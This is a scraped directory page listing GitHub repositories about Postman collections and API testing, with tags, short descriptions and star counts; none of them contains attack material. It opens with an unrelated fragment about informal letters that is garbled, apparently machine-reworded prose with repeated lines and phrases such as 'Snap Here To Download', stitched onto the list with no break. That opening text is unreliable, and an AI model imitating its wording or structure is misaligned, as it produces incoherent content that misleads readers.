perspectives and give a farewell or get together the wave. You can specify, 'see you soon.', 'can hardly wait to see you.' and so forth. Also, compose your name and mark toward the end. casual letter case pdf casual letter case pdf Snap Here To Download Informal letter case pdf Unique ABOUT HANDWRITTEN LETTERS There are fun and creation in written by hand letters. There is still exceptionalness contributing a letter in the case and getting it from a postman, secured with beautiful stamps and love. This shows somebody has set aside time for you to think and sit to compose a letter. These have their own particular appeal. Configuration of casual letter in english Configuration of casual letter in english Configuration of casual letter in english Snap Here To Download Format of the casual letter in English Step by step instructions to compose an individual letter the most effective method to compose an individual letter the most effective method to compose an individual letter Snap here to download how to compose an individual letter PDF End These have their own esteem. These are sent by adoration and time and one keeps them for whatever length of time that recollections. These likewise have exercises and help youngsters to indicate inventiveness, have some good times, take in its significance and upgrade their aptitudes. 0 stars 0 watchers 0 forks
jmaribau/DemoHtCm
api blueprint, asyncapi, check, checked, collection, collections, environment, fixtures, json schema, oauth, openid, quality, sql, test, tests, tool, tools 		Simple Api Rest Crud with Docker, Symfony 4.3, Mysql 5.7, PhpUnit, Unit Integration Functional tests, Data fixtures, 95% Coverage, Authentication JWT, Events, EventsSubscribers, Loggin, Authorization Roles, Services, Managers, Composer, MakeFile Commands, PostMan collections & environment, checked with quality tools, SOLID, clean code, best practices. 0 stars 0 watchers 0 forks
jonashackt/postman-newman-docker-travisci
collection, collections, docker, newman, travis, travisci, trigger, triggered 		Example project showing how to execute Postman collections with Docker triggered by TravisCI 0 stars 0 watchers 0 forks
jpatterson-tillster/CK_Postman_Collection
collection, collections, postman collection, postman collections 		Going to hold the postman collections for CK 0 stars 0 watchers 0 forks
jwhorley/postman-iterate-data-collections
collection, collections, data, guide, setting, variable, variables 		A "how to" guide for setting up Postman Collection Runner w/ variables 0 stars 0 watchers 0 forks
k4l397/newman-dr
client, collection, collections, directory, java, javascript, newman, runs, script, tool, wraps 		This is a javascript tool that wraps the newman postman client and runs all collections in a directory. 0 stars 0 watchers 0 forks
k6io/example-postman-collection
blog, collection, collections, example, http, https, test, testing 		https://k6.io/blog/load-testing-with-postman-collections/ 0 stars 0 watchers 0 forks
Kabassu/kabassu-postman-collections
collection, collections, kabassu, test, tests 		Kabassu tests in Postman 0 stars 0 watchers 0 forks
kasstek/POSTMAN_COLLECTIONS
collection, collections 		my-postman-collections 0 stars 0 watchers 0 forks
KaushalShah1307/api-postman-newman
collection, collections, newman, setup, test, tool 		Framework setup to test APIs, either REST or SOAP, with Postman and execute the collections using Newman, a CLI tool 0 stars 0 watchers 0 forks
kotavi/postman
collection, collections 		Postman collections 0 stars 0 watchers 0 forks
KRISHNA-3520/PostmanCollections
collection, collections, postman collection, postman collections 		All my postman collections 0 stars 0 watchers 0 forks
kyle-ssg/docman
collection, collections, document, documentation, postman collection, postman collections 		Turns your postman collections into API documentation 0 stars 0 watchers 0 forks
kytmanov/postmanBackup
automat, automatic, automatically, collection, collections, environment, environments 		Export Postman collections and environments automatically 0 stars 0 watchers 0 forks
lbanerjee2000/Postman_collections
collection, collections 		Postman_collections 0 stars 0 watchers 0 forks
Leaf-Agriculture/postman-collections
collection, collections, facilitate, sample, understanding 		This repository contains sample collections to facilitate the understanding and usage of Leaf's API 0 stars 0 watchers 0 forks
liamkeegan/net-aci-setup
bridge, collection, collections, network, scratch, setup, spec 		Want to set up an ACI fabric in network-centric naming mode from scratch? Here's a handful of Postman collections that will take a Cisco ACI fabric (specifically, the ACI simulator) and setup the fabric for L2 and L3 outs, bridge domains, permit-any EPGs, and a Production VRF. 0 stars 0 watchers 0 forks
linkedin-samples/lts-postman-collections
collection, collections, link, linkedin, postman collection, postman collections, sample, samples 		Repository contains the postman collections for LinkedIn Talent Solution APIs 0 stars 0 watchers 0 forks
maciejdorsz/PayU_Hub_Postman
collection, collections 		PayU HUB repository for Postman collections. 0 stars 0 watchers 0 forks
martijnschouwe/postman-tests
collection, collections, postman collection, postman collections, test, tests 		POC repo for postman collections 0 stars 0 watchers 0 forks
matt-ball/sanity-check-collections
check, collection, collections, exposing 		Check your Postman collections aren't exposing sensitive values in plain text 0 stars 0 watchers 0 forks
Mauxilium/TutorialMauxIotRestServer
collection, collections, example 		Basic example of MauxIotConnector usage with some Postman collections. 0 stars 0 watchers 0 forks
mesh1nek0x0/zenhub-postman
collection, collections, postman collection, postman collections, rocket, zenhub 		:rocket: postman collections for zenhub api 0 stars 0 watchers 0 forks
MeteorLyon/Postman-MeteorJs
application, chrome, collection, collections, data, install, installed, plugin, problem, server, sync 		The Postman chrome plugin is a cool application. The problem is when you sync your collections, you don't own your data, so it's no more cool. The aim of the project is to allow every one to get the same cool app, but that can be installed on it's own server, so you own your datas. 0 stars 0 watchers 0 forks
Miheev/newman-runner
collection, collections, instance, instances, multiple, newman, runner 		The Runner of API Integration Tests. Run Postman based collections via multiple Newman instances. 0 stars 0 watchers 0 forks
mikerkeating/postman-collections
collection, collections 		Postman REST Client - Collections of Requests 0 stars 0 watchers 0 forks
minus27/fastly-postman-collections
collection, collections 		Postman Collections for use with the Fastly's RESTful API 0 stars 0 watchers 0 forks
MJZawacki/postmanloadtestsample
collection, collections, sample, test, tests 		Load Testing sample for Postman collections 0 stars 0 watchers 0 forks
moedelo/api-examples
collection, collections, example, examples, moedelo, postman collection, postman collections, test 		test postman collections for moedelo api 0 stars 0 watchers 0 forks
MurthyNarasimhaAdigarla/Weather-API
collection, collections 		Postman,SoapUI and RestAssured collections 0 stars 0 watchers 0 forks
musthafam/postman
collection, collections 		Postman and Newman collections 0 stars 0 watchers 0 forks
mytardis/edm-postman-collections
collection, collections, test, testing 		Postman collections for testing 0 stars 0 watchers 0 forks
N0NU/nodejs-ts-api
collection, collections, http, https, link, node, nodejs, postman collection 		postman collection link: https://www.getpostman.com/collections/415fe570cfb81c6393e8 0 stars 0 watchers 0 forks
nadee158/scss_postman_collections
collection, collections, scss 		Postman Collections of SCSS project 0 stars 0 watchers 0 forks
navadeep0927/run-postman
collection, collections, jenkins, postman collection, postman collections, running 		running postman collections in jenkins 0 stars 0 watchers 0 forks
NBG-Technology-Hub/PostmanCollections
collection, collections 		Postman collections 0 stars 0 watchers 0 forks
netwolf103/Postman
collection, collections, postman collection, postman collections 		Some postman collections. 0 stars 0 watchers 0 forks
Neuromobile/newman-vcs
collection, collections, data, managing, mobile, newman, test, tests 		An adapter for newman to allow managing Postman/newman data with a VCS and launch collections and tests 0 stars 0 watchers 0 forks
Neuromobile/newman-vcs-parser
collection, collections, form, format, mobile, newman, parse, parser, transform, version 		A parser to transform Postman/newman collections to a versionable format 0 stars 0 watchers 0 forks
nkeenan38/k6-from-postman
collection, collections, postman collection, postman collections, script, test, tests, type, types, typescript 		Generates K6 tests in typescript from postman collections 0 stars 0 watchers 0 forks
nmenant/f5-POSTMAN-collections
collection, collections, manipulate, product, products 		F5 POSTMAN collections to manipulate F5 products 0 stars 0 watchers 0 forks
npearce/iclx_postman_workflows
collection, collections, extension, extensions, workflow 		Calling POSTMAN collections from iControlLX extensions 0 stars 0 watchers 0 forks
octavioamu/postman-collections
collection, collections, endpoint, endpoints, public 		Set of collections of public API's endpoints for postman 0 stars 0 watchers 0 forks
oleksandrUtah/collections
collection, collections 		Postman collections for Jenkins 0 stars 0 watchers 0 forks
olenalo/Module04
collection, collections, http, https 		Chess Game. Postman collection: https://www.getpostman.com/collections/a58c3174b389831b34a3 0 stars 0 watchers 0 forks
param2404/userPosts
check, collection, collections, description, email, mail, model, mongo, mongoose, operation, patch, phone, result, script, user, users 		C.R.U.D operation using REST APIs and Mongoose . 1. Create two collections (User,Post) using mongoose.model USER: name, phone,email etc. POST: title,description etc. 2. Add users/post through POSTMAN and check the result in robo3t.(CREATE-post) 3.Fetch users/post through POSTMAN and check the result in robo3t.(READ-get) 4.Update users/post through POSTMAN and check the result in robo3t.(UPDATE-patch) 5.Delete users/post through POSTMAN and check the result in robo3t.(DELETE-delete) 6.Fetch a particular user's post using its id or name . 0 stars 0 watchers 0 forks
pedront/postman-collection-folder
collection, collections, convert, folder, folders, util 		Simple util to convert collections to folders and vice-versa 0 stars 0 watchers 0 forks
PhanNN/postman-combine
collection, collections, combine, jenkins, newman, postman collection, postman collections, result, running 		Using to combine many postman collections to one (ex: for running newman + jenkins with one result) 0 stars 0 watchers 0 forks
pnowosie/elixir-omg-postman
collection, collections, github, http, https, play, spec, specs 		Postman collections with [elixir-omg API](https://github.com/omisego/elixir-omg/) specs to easy getting play with 0 stars 0 watchers 0 forks
proctorlabs/swagger2postman-cli
collection, collections, container, convert, converting, document, documents, postman collection, postman collections, swagger, swagger2 		A Docker container for converting swagger (OpenAPI v2) documents to postman collections 0 stars 0 watchers 0 forks
qaclub/postman_collection_example
automat, automating, collection, collections, example, postman collection, postman collections, test, testing 		Example of using postman collections for automating REST API testing 0 stars 0 watchers 0 forks
railroadmanuk/postman-collections
collection, collections 		Postman REST API Collections 0 stars 0 watchers 0 forks
reefqi037/authlete-postman-collection
auth, authlete, collection, collections 		Postman collections for Authlete REST APIs. 0 stars 0 watchers 0 forks
rmacinti/postman-collections
collection, collections, postman collection, postman collections 		postman collections 0 stars 0 watchers 0 forks
robinmartin99/zoona_collections
collection, collections, drive 		Postman Collections to drive the zoona APIs 0 stars 0 watchers 0 forks
RonMilton/postman
collection, collections, postman collection, postman collections 		Process postman collections 0 stars 0 watchers 0 forks
rudreshveerappaji/postman-sdwan
collection, collections, program, programmability 		Postman collections for SD-WAN programmability 0 stars 0 watchers 0 forks
SafeToPay/Postman-collections
collection, collections, exemplos 		Contém as collections do postman com exemplos das APIs de Integração 0 stars 0 watchers 0 forks
SalahEddin/pman
collection, collections, package, test 		package to create postman test collections without Postman GUI 0 stars 0 watchers 0 forks
Salling-Group/backup-postman
backup, collection, collections, download, environment, environments, to do, tool 		CLI tool to download Postman collections and environments for backup or migration purposes 0 stars 0 watchers 0 forks
sandeep89/stromtrooper
collection, collections, depict, http, https, mock, postman collection, postman collections, server, twitter, wiki, wikipedia 		A mock server to depict usage of postman collections for mocking twitter api responses. (Name=>https://en.wikipedia.org/wiki/Stormtrooper_(Star_Wars)) 0 stars 0 watchers 0 forks
scottishkilt/PostmanBitbucketIntegration
bucket, collection, collections, commits 		A Postman collection that commits Postman collections to Bitbucket via the Postman and Bitbucket API 0 stars 0 watchers 0 forks
shcarroll/postman-newman-gitlab
collection, collections, command, command line, file, gitlab, newman, runner, test, tests 		Example repo containing Postman collections of API tests, Newman command line runner for these and a Gitlab CI file 0 stars 0 watchers 0 forks
shzerobigonesmall/postman-collection
collection, collections, library, zero 		A library for creating Postman collections in Go 0 stars 0 watchers 0 forks
sidhant-gupta-004/gsma-mm-api-collections
collection, collections, gsma 		Postman Collections of GSMA Mobile Money APIs v1.0 0 stars 0 watchers 0 forks
smaretick/POSTMAN
collection, collections 		Postman JSON collections 0 stars 0 watchers 0 forks
Software-On-The-Road/Postman-AutoTestAPI
collection, collections, test, tests, unit 		Generate simple unit tests from JSONs for Postman collections 0 stars 0 watchers 0 forks
SourceHorse/Postman
collection, collections, environment, environments 		Postman collections and environments 0 stars 0 watchers 0 forks
Srinu1928/Rest-api-collections
automat, automate, automated, collection, collections 		API collections automated through POSTMAN 0 stars 0 watchers 0 forks
steinybot/postman-collections
collection, collections 		Collections of APIs for Postman 0 stars 0 watchers 0 forks
sunnyCN34/Api_TestingFramework
collection, collections, endpoint, postman collection, postman collections, test, testing 		Automated testing of API endpoint using postman collections 0 stars 0 watchers 0 forks
syedamanat/Maven-Spring-hibernate-docker
collection, collections, common, deploying, docker, function, functional, functionalities, hibernate, to do 		Developing common usage functionalities, REST-led with Postman collections and also deploying to docker. 0 stars 0 watchers 0 forks
tani-tani/postman_trello-try
collection, collections, learn, test, trello 		I may delete this repo in a half year but for now I feel exciting about this little experience I had with Postman and Trello API. I learnt how to create requests, test them and run collections and it's awesome @[email protected] 0 stars 0 watchers 0 forks
TaylorOno/smoke-break
collection, collections, postman collection, postman collections, smoke, test, testing, tool 		A tool to run postman collections against 2 targets and capturing deltas useful for smoke testing Blue Green deploys 0 stars 0 watchers 0 forks
ThePlenkov/newman-collection
collection, collections, generator, list, newman 		Minimalistic Postman/Newman collections generator 0 stars 0 watchers 0 forks
timjuravich/postman-docx
collection, collections, document, documentation, template, templated 		Create templated word doc documentation from Postman collections 0 stars 0 watchers 0 forks
TonyDagger/postman-edge-bootcamp-1
apigee, boot, bootcamp, collection, collections, postman collection, postman collections 		Initial postman collections for apigee bootcamp 0 stars 0 watchers 0 forks
TylerMoser/postmanrunner
alternative, collection, collections, executing, native, runner, test 		An alternative UI for executing Postman test collections 0 stars 0 watchers 0 forks
valbanese/postman
collection, collections, environment, environments 		Postman collections and environments 0 stars 0 watchers 0 forks
vdespa/2fa-using-github-twilio-postman
collection, collections, demonstrate, github, to do, twilio 		Postman collections used to demonstrate how to do 2FA with Github and Twilio. 0 stars 0 watchers 0 forks
vigneshios/FirstApiHello
check, checked, collection, collections, data, database, express, mongo, node, writing 		writing my first api with node, mongo database, express.checked api calls in postman, viewed mongo collections in roboMongo. 0 stars 0 watchers 0 forks
vmchiran/postman-oci-rest
collection, collections, rest 		Postman collections for OCI 0 stars 0 watchers 0 forks
vrachieru/postman
collection, collections 		Postman collections for various APIs. 0 stars 0 watchers 0 forks
xadamxk/Postman-to-Neoload-as-Code-Converter
collection, collections, convert, environment, environments 		A POC to convert Postman collections/ environments to a Neoload-as-Code project 0 stars 0 watchers 0 forks
YangCatalog/site_health
check, collection, collections, comparing, container, play, playing, public, result, site 		This container checks the health if YangCatalog by playing the public Postman collections and comparing the results. 0 stars 0 watchers 0 forks
Zenduty/zenduty-api-postman
collection, collections, zenduty 		Zenduty API Postman collections 0 stars 0 watchers 0 forks

testing (281 listings) (Back to Top)

DevMountain/endpoint-testing-mini
endpoint, endpoints, mini, test, testing 		A mini project to introduce how to test endpoints using Postman. 2 stars 2 watchers 287 forks
DevMountain/endpoint-testing-afternoon
endpoint, endpoints, test, testing 		An afternoon project to help solidify testing endpoints using Postman. 4 stars 4 watchers 204 forks
rupeshmore/dakiya
collection, collections, convert, converts, dakiya, script, scripts, test, testing, tool 		Dakiya: converts Postman collections to load testing tool scripts 25 stars 25 watchers 6 forks
hantuzun/jetman
test, testing, tool 		A better tool for testing APIs 23 stars 23 watchers 0 forks
tiagohm/restler
powerful, quickly, rest, restler, test, testing 		Restler is a beautiful and powerful Android app for quickly testing REST API anywhere and anytime. 19 stars 19 watchers 5 forks
EhsanTang/ApiDebug
browser, http, service, services, test, testing 		浏览器API接口调试插件，Chrome接口调试工具，http调试，post调试，post模拟工具，postman，post接口调试，post测试插件-ApiDebug is a browser plug-in for testing RESTful web services. http://api.crap.cn 0 stars 0 watchers 36 forks
coding-yogi/bombardier
coding, collection, postman collection, test, testing, tool 		Rust based HTTP load testing tool using postman collection 14 stars 14 watchers 4 forks
TableauExamples/Tableau_Postman
collection, learn, learning, test, testing 		A Postman collection for testing and learning Tableau Server's REST API. 0 stars 0 watchers 29 forks
larrybotha/postman-rest-api-testing
rest, test, testing 		Notes on how to use Postman to test REST APIs 10 stars 10 watchers 8 forks
JamesMessinger/super-powered-api-testing
powered, powerful, test, testing, tool, tools 		Comparisons of powerful API testing tools 0 stars 0 watchers 19 forks
flyworker/python-automation-testing
application, applications, automat, automate, automated, automation, python, river, software, test, testing, web app 		Learn about automated software testing with Python, Selenium WebDriver, and API, Postman, focusing on web applications. 0 stars 0 watchers 12 forks
txthinking/frank
automat, automate, automated, command, command line, document, generate, markdown, test, testing, tool 		Frank is a REST API automated testing tool like Postman but in command line. Auto generate markdown API document. 0 stars 0 watchers 10 forks
TakuCoder/postman
desktop, desktops, devices, header, including, method, methods, parameter, pretty, stat, status, style, submit, support, supported, test, testing, tool 		Postman is a REST API testing tool for Android devices. It helps to test REST API without desktops. can submit a HTTP request with several headers, parameters and raw request body by 6 different HTTP methods including GET, POST, HEAD, PUT, DELETE and PATCH. HTTP response can be shown as three styles including pretty, raw and preview. Response status code and headers are also supported in Postman-Android. Currently in Development Stage 3 stars 3 watchers 2 forks
PepkorIT/beach-day
beach, integration, test, testing 		API integration testing as fun as a day on the beach 3 stars 3 watchers 1 forks
aws-samples/aws-codepipeline-codebuild-with-postman
codepipe, codepipeline, pipeline, sample, samples, test, testing 		Automating your API testing with AWS CodeBuild, AWS CodePipeline, and Postman 0 stars 0 watchers 6 forks
elioncho/apikiller
collection, collections, config, configure, endpoint, execution, form, test, testing, tool 		Simpe and easy to use load testing tool for your Postman collections. Perform a load test on any endpoint. You can configure the execution time and amount of requests per second. 2 stars 2 watchers 0 forks
Xantier/bound-ttr
assert, assertion, boundary, collection, collections, data, database, framework, test, testing 		Automated boundary testing framework based on Postman collections and database assertions 2 stars 2 watchers 0 forks
mikhail-kursk/Api-testing-with-postman-and-excel
data, excel, file, store, test, testing, urls 		Project store:Excel file with macros in which you can describe request urls, data and flow for testing your API. 1 stars 1 watchers 2 forks
command-line-physician/command-line-physician
command, curated, data, database, find, intention, local, rest, spec, store, test, testing, unit, user, users, util, utilizes 		Our intention with this app is to let users find natural herbal based remedies for their ailments. Our app allows users to browse our specially curated herb database by name and latin name. Command-Line Physician also allows users to locate the nearest store where they can find their unique remedy, or a local resident who has the herb available to share. Tech stack: Command-line Physician is a RESTful api that utilizes Node, Express, Jest, end-to-end and unit testing. Our testing was carried out by Compass, Robo 3T, and Postman. 0 stars 0 watchers 4 forks
luisg18997/testing_continues
automat, jenkins, jmeter, newman, test, testing 		practica de testing automatizado con postman, newman, jmeter y jenkins 2 stars 2 watchers 0 forks
melodyWxy/melody-api-test-tool
test, testing, tool 		this is a web tool for testing apis, like postman… 2 stars 2 watchers 0 forks
CiscoDevNet/postman-webex-meetings-xml
collection, meeting, meetings, reference, test, testing, webex 		Webex Meetings XML API - Postman collection for reference and testing 1 stars 1 watchers 1 forks
anandjat05/admin-service-api
admin, coverage, image, instance, instances, pipeline, service, services, stat, test, testing, unit, vulnerability 		Project based on Micro-services, I created REST API's, wrote Junit, testing the coverage, bug smell, vulnerability analysis on Sonarqube and static test analysis using Jococo, Jenkins, Postman and Newman deploy through the CI/CD pipeline in ECS cluster using EC2 instances, Dockerhub, Docker Container/image. 1 stars 1 watchers 1 forks
transferwise/public-api-postman-collection
collection, exploring, public, test, testing, transferwise 		A Postman collection for exploring and testing the TransferWise public API 0 stars 0 watchers 3 forks
dougglez/node_postman_testing
description, node, script, test, testing 		No description available. 0 stars 0 watchers 3 forks
banzaicloud/dockerized-newman
cloud, docker, dockerized, newman, test, testing 		Automated end-2-end testing with Postman in Docker 1 stars 1 watchers 0 forks
AndreiRupertti/newman-contract
boiler, boilerplate, collection, contract, newman, postman collection, program, programmatically, test, testing 		Creates a boilerplate postman collection for contract testing programmatically 1 stars 1 watchers 0 forks
CoproCodeForces-And-Friends/AutoTests
test, testing 		Some Autotest for testing KFC-API. 1 stars 1 watchers 0 forks
ivangfr/springboot-testing-mysql
api blueprint, application, applications, asyncapi, boot, data, database, goal, goals, json schema, mysql, notation, oauth, openid, service, spring, springboot, sql, test, testing, user, users, util, utilities 		The goals of this project are: 1) Create a simple Spring Boot REST API to manage users called user-service. The database used is MySQL; 2) Explore the utilities and annotations that Spring Boot provides when testing applications. 3) Testing with Postman and Newman 1 stars 1 watchers 0 forks
michaeI-s/ScorpioBroker-Postman
collection, implementation, stat, status, test, testing 		Postman collection for testing implementation status of the Scorpio NGSI-LD Broker 1 stars 1 watchers 0 forks
spider1998/go-test
development, lang, language, test, testing, tool 		Interface testing tool for pure go language development (similar to postman) 1 stars 1 watchers 0 forks
timemachine3030/jenkman
machine, node, server, servers, test, testing 		Jenkins CI testing of node API servers with Postman/Newman 1 stars 1 watchers 0 forks
Torvictor/smart_house_postman
smart, test, testing, victor 		For testing API of smart house 1 stars 1 watchers 0 forks
vgane/ESB-Training
error, handling, integration, maven, test, testing 		Using Mulesoft AnyPointStudio to implement various integration patterns. Uses Java, MySQL DB, MUNIT testing, Postman, SOAP API, Restful API, SOAP UI, maven, AWS SNS, CRM(Salesforce), batchjobs, cronjobs, error_handling 1 stars 1 watchers 0 forks
anujtiwari05/postman
test, testing 		This repository is for API testing 1 stars 1 watchers 0 forks
AndriiStepura/letslearnapitesting
apitest, learn, presentation, test, testing, tool, tools 		Repo for API testing presentation, based with postman tools 0 stars 0 watchers 2 forks
sdsgomes/api-testing-postman-demo
description, script, test, testing 		No description available. 0 stars 0 watchers 2 forks
vdespa/postman-testing-file-uploads
collection, file, postman collection, sample, test, testing, tests, upload 		A sample postman collection showing how you can tests 0 stars 0 watchers 2 forks
flash286/postman-load-testing
collection, collections, lang, newman, parallel, postman collection, postman collections, runner, test, testing, tool 		This tool written on go lang, help to run postman collections in parallel mode. So you can use it for load testing based on postman collections. As a runner it uses newman. 0 stars 0 watchers 1 forks
Akanksha461/API-Testing-Framework
continuous, framework, integrate, integrated, integration, test, testing 		Api testing framework using postman BDD and integrated with Jenkins for CI(continuous integration) 0 stars 0 watchers 1 forks
Ayushverma8/LoadTesting.withpostmanis.fun
collection, convert, developer, developers, test, testing, tool, tools 		Helping developers to convert Postman collection to Load testing tools. 0 stars 0 watchers 1 forks
blackboard/BBDN-Collab-Postman-REST
blackboard, collection, postman collection, test, testing 		This repository contains a postman collection for testing the Collaborate REST APIs. 0 stars 0 watchers 1 forks
GuildfordBC/tenvironment-auth-gen
auth, environment, header, test, testing 		Generates authorisation headers for testing tEnvironment to use in something like Postman 0 stars 0 watchers 1 forks
jameswentworth/PostmanRESTService
automat, automation, test, testing, tests 		Structuring tests for API Web REST Service testing and automation using Java, JS etc. 0 stars 0 watchers 1 forks
shijiahu/face-recognition-api
data, database, facial, image, images, recognition, server, sign up, system, test, testing, tool 		- Built a facial recognition system, using React.js as front-end, Node.js and Express.js as back-end server, PostgreSQL as database, Postman as testing tool - Enabling sign up/sign in, recognize face from images features - Deployed the app to Heroku 0 stars 0 watchers 1 forks
skyupadhya/restful-db-interface
client, framework, interface, inventory, python, rest, restful, system, test, testing 		RESTFUL INVENTORY MANAGEMENT SYSTEM: Rest based inventory management system implemented using Bottle (python based) web framework. System testing was done using Postman REST client. 0 stars 0 watchers 1 forks
TheEvilDev/hapi-postman
collection, data, endpoint, exposes, hapi, meta, plugin, postman collection, test, testing 		Hapi plugin that exposes endpoint meta data as a postman collection for easy testing. 0 stars 0 watchers 1 forks
bornfight/medium-postman-testing
description, script, test, testing 		No description available. 0 stars 0 watchers 1 forks
chutchUCD/CSCI3800_Web_API_Assignment_One
assignment, test, testing 		First assignment for web api. Simple testing with Postman. 0 stars 0 watchers 1 forks
jogijatin15/api-postman
test, testing 		API testing using Newman (Postman CLI) 0 stars 0 watchers 1 forks
Mipside/ServletsTask_Part1
file, files, json, task, test, testing 		Servlets task with CRUD Operations, json files that are testing via Postman 0 stars 0 watchers 1 forks
OmarFlores1/API_Testing_AutomationWithNewmanFromCommandLine
test, testing 		API testing with Postman and Newman 0 stars 0 watchers 1 forks
rodionovmax/postman-newman-jenkins
jenkins, newman, test, testing 		project for testing API in postman 0 stars 0 watchers 1 forks
Sachielsc/Bookstore-API-testing-using-Mocha
http, send, store, test, testing 		My third Mocha project (using Postman to send http request) 0 stars 0 watchers 1 forks
scampiuk/postman-newman-testing
article, newman, test, testing 		Git repo to go along with the article on dev.to 0 stars 0 watchers 1 forks
simonychuang/dog_apitesting
apitest, case, cases, test, testing 		Postman test cases for dog API 0 stars 0 watchers 1 forks
szmc/rest-api-testing-demo
curl, rest, rest api, test, testing, tool, tools 		Repository for demo of rest api testing using different tools(Postman, Jmeter, SoapUI, curl, Rest-Assured) 0 stars 0 watchers 1 forks
telosys-templates-v3/web-rest-postman
collection, rest, telosys, template, templates, test, testing, tests 		REST testing with Postman tests collection 0 stars 0 watchers 1 forks
tutagomes/Postman-Testing
data, script, scripts, store, test, testing, tutorial 		A repository to store some data and testing scripts used by my tutorial about postman testing. 0 stars 0 watchers 1 forks
aplorenzen/selenium-example
automat, automate, example, newman, regression, runner, selenium, smoke, test, testing 		An example of how Selenium IDE, selenium-side-runner, Postman and newman can be used to automate regression and smoke testing 0 stars 0 watchers 0 forks
BackstageBones/BDD-testing
application, applications, automat, automate, automated, river, software, test, testing, web app 		Learn about automated software testing with Python, BDD, Selenium WebDriver, and Postman, focusing on web applications 0 stars 0 watchers 0 forks
cscawley/api-load-testing
collection, collections, light, postman collection, postman collections, single, test, tester, testing, threaded 		A light API load tester (single-threaded). Using postman collections and Newman. 0 stars 0 watchers 0 forks
dafeder/dkan-postman
collection, dkan, test, testing 		Postman collection for testing DKAN APIs 0 stars 0 watchers 0 forks
admindebu/RestFul-API-Testing-server
admin, client, rest, restful, server, service, test, testing, tool 		This is the Server of testing restful web service. and your tool - postman / rest client act as an client. 0 stars 0 watchers 0 forks
ahazbhatti/Cryo-Login-Page-
customer, login, material, test, testing 		Cryo Innovations Login Page - Made in React for customer login, using material UI, JSX, and testing API with Postman, 0 stars 0 watchers 0 forks
AliA1997/postman-testing-tutorial
test, testing, tutorial 		Postman Tutorial 0 stars 0 watchers 0 forks
Aliona808/rest_api_testing_postman
rest, test, testing 		Testing of Trello REST API by Postman. 0 stars 0 watchers 0 forks
AmulyaChen/classScheduler
application, assignment, automat, automatic, automatically, class, content, contents, course, schedule, select, test, testing, updated, user, util, weather 		University project:create an application that will change a course schedule When an application user select the first day of class, the application needs to change the dates in course schedule automatically If a class is canceled due to inclement weather, entire dates should be updated If the class didn’t finish the topics as scheduled, contents of course, quiz and assignment schedule should be updated You may create a separate UI for testing purposes or utilize a Tool like SoapUI or PostMan. You will need to use the latest of: Java 8 Spring Framework MySQL or Maria DB 0 stars 0 watchers 0 forks
amulyachennaboyena/ClassSchedulerUsingSpring
application, assignment, automat, automatic, automatically, class, content, contents, course, schedule, select, test, testing, updated, user, util, weather 		University project:create an application that will change a course schedule When an application user select the first day of class, the application needs to change the dates in course schedule automatically If a class is canceled due to inclement weather, entire dates should be updated If the class didn’t finish the topics as scheduled, contents of course, quiz and assignment schedule should be updated You may create a separate UI for testing purposes or utilize a Tool like SoapUI or PostMan. You will need to use the latest of: Java 8 Spring Framework MySQL or Maria DB 0 stars 0 watchers 0 forks
avinashb98/litmus
drive, driven, framework, test, testing 		Behaviour driven API testing framework for Postman 0 stars 0 watchers 0 forks
aviskase/ss-pygre
integration, rest, select, stupid, test, testing 		simple & stupid "rest" api select caller for PostgreSQL for integration testing via Postman 0 stars 0 watchers 0 forks
bestchanges/postman-backend-testing
automat, automation, backend, test, testing 		Example of how to implement HTTP API automation testing using Postman and Newman 0 stars 0 watchers 0 forks
bflaven/a-quick-journey-through-api-testing
test, testing 		From Node Application to Postman best practices through Gherkin features 0 stars 0 watchers 0 forks
bigcommerce-labs/carrier-service-playground
commerce, play, playground, service, test, testing 		This is a playground app to make life easy for team to edit carriers for testing rather than using postman 0 stars 0 watchers 0 forks
billbeeio/custom-shop-api-postman
billbee, collection, implementation, postman collection, test, testing 		A postman collection for testing a Billbee custom shop api implementation 0 stars 0 watchers 0 forks
bnaddison/Postman-Load-Testing-App
application, collection, collections, source, test, testing 		An open source and simple application for load testing with Postman collections using Newman. 0 stars 0 watchers 0 forks
brankozecevic/php_oop_rest_api
api blueprint, asyncapi, blog, client, data, database, environment, function, functional, import, json schema, oauth, openid, posts, principles, rest, server, sql, test, testing 		This is a REST API using PHP and OOP principles. There is also MySQL database that you can use to import on your server (myblog.sql). This REST API is based on CRUD functionality (blog posts and blog categories). For testing use Postman app environment as a REST client. 0 stars 0 watchers 0 forks
brodoyoueventest-io/openweathermap
collection, collections, environment, environments, event, test, testing, weather 		Postman collections and environments for testing the OpenWeatherMap API 0 stars 0 watchers 0 forks
bwainaina380/rest-api-setup
client, rest, route, routes, server, setting, setup, test, testing 		This is practice for setting up a REST API with routes and a server and testing that everything is working using Postman client 0 stars 0 watchers 0 forks
cerqueiraedu/rent-a-movie
introduction, movie, test, testing 		Rent a Movie - an introduction on using Postman for testing REST APIs 0 stars 0 watchers 0 forks
chloeboss/API-Postman-Chloe-
test, testing 		Automate testing with the Collection Runner 0 stars 0 watchers 0 forks
cmullins777/REST-API
course, data, database, design, model, modeling, persistence, register, retrieve, route, routes, school, test, testing, user, users, validation 		A school database where registered users can retrieve, add, update, and delete courses in the database. This project uses REST API design, Node.js, and Express to create API routes, and the Sequelize ORM for data modeling, validation, and persistence, as well as Postman for testing. 0 stars 0 watchers 0 forks
coatsnmore/postman-runner
advance, advanced, runner, test, testing 		Opinionated Postman Collection Runner for advanced API testing 0 stars 0 watchers 0 forks
comecero/postman
collection, collections, test, testing 		Postman collections for API testing 0 stars 0 watchers 0 forks
cpressler/postman-qademo
example, maven, test, testing 		An example of using maven and postman for testing apis 0 stars 0 watchers 0 forks
DavyJ0nes/postal-service
service, test, testing 		Simple postman testing against API 0 stars 0 watchers 0 forks
dayemsiddiqui/vscode-apiclient
client, extension, test, testing, vscode 		Postman like vscode extension for testing APIs within vscode 0 stars 0 watchers 0 forks
Dev-Steven/restful_task_API
rest, restful, task, test, testing 		Created a RESTful task API and testing the API using Postman 0 stars 0 watchers 0 forks
disconnect5852/security
rest, rest api, security, spring, test, testing 		testing spring security, testing of testing, simple rest api, trying out postman, etc. 0 stars 0 watchers 0 forks
djcruz93/AutomatedAPITesting
process, test, testing 		Automate the process of api testing using circleCI and postman 0 stars 0 watchers 0 forks
doug97703/401-28-react-api-testing-app
react, route, routes, test, testing 		An app similar to Postman for testing API routes. Built on React 0 stars 0 watchers 0 forks
electrumpayments/money-transfer-retailer-test-pack
implementation, implementations, money, payment, retail, script, scripts, server, test, testing 		Test server and Postman scripts for testing Money Transfer Retailer Interface implementations 0 stars 0 watchers 0 forks
emailwizard/emailwizard-postman
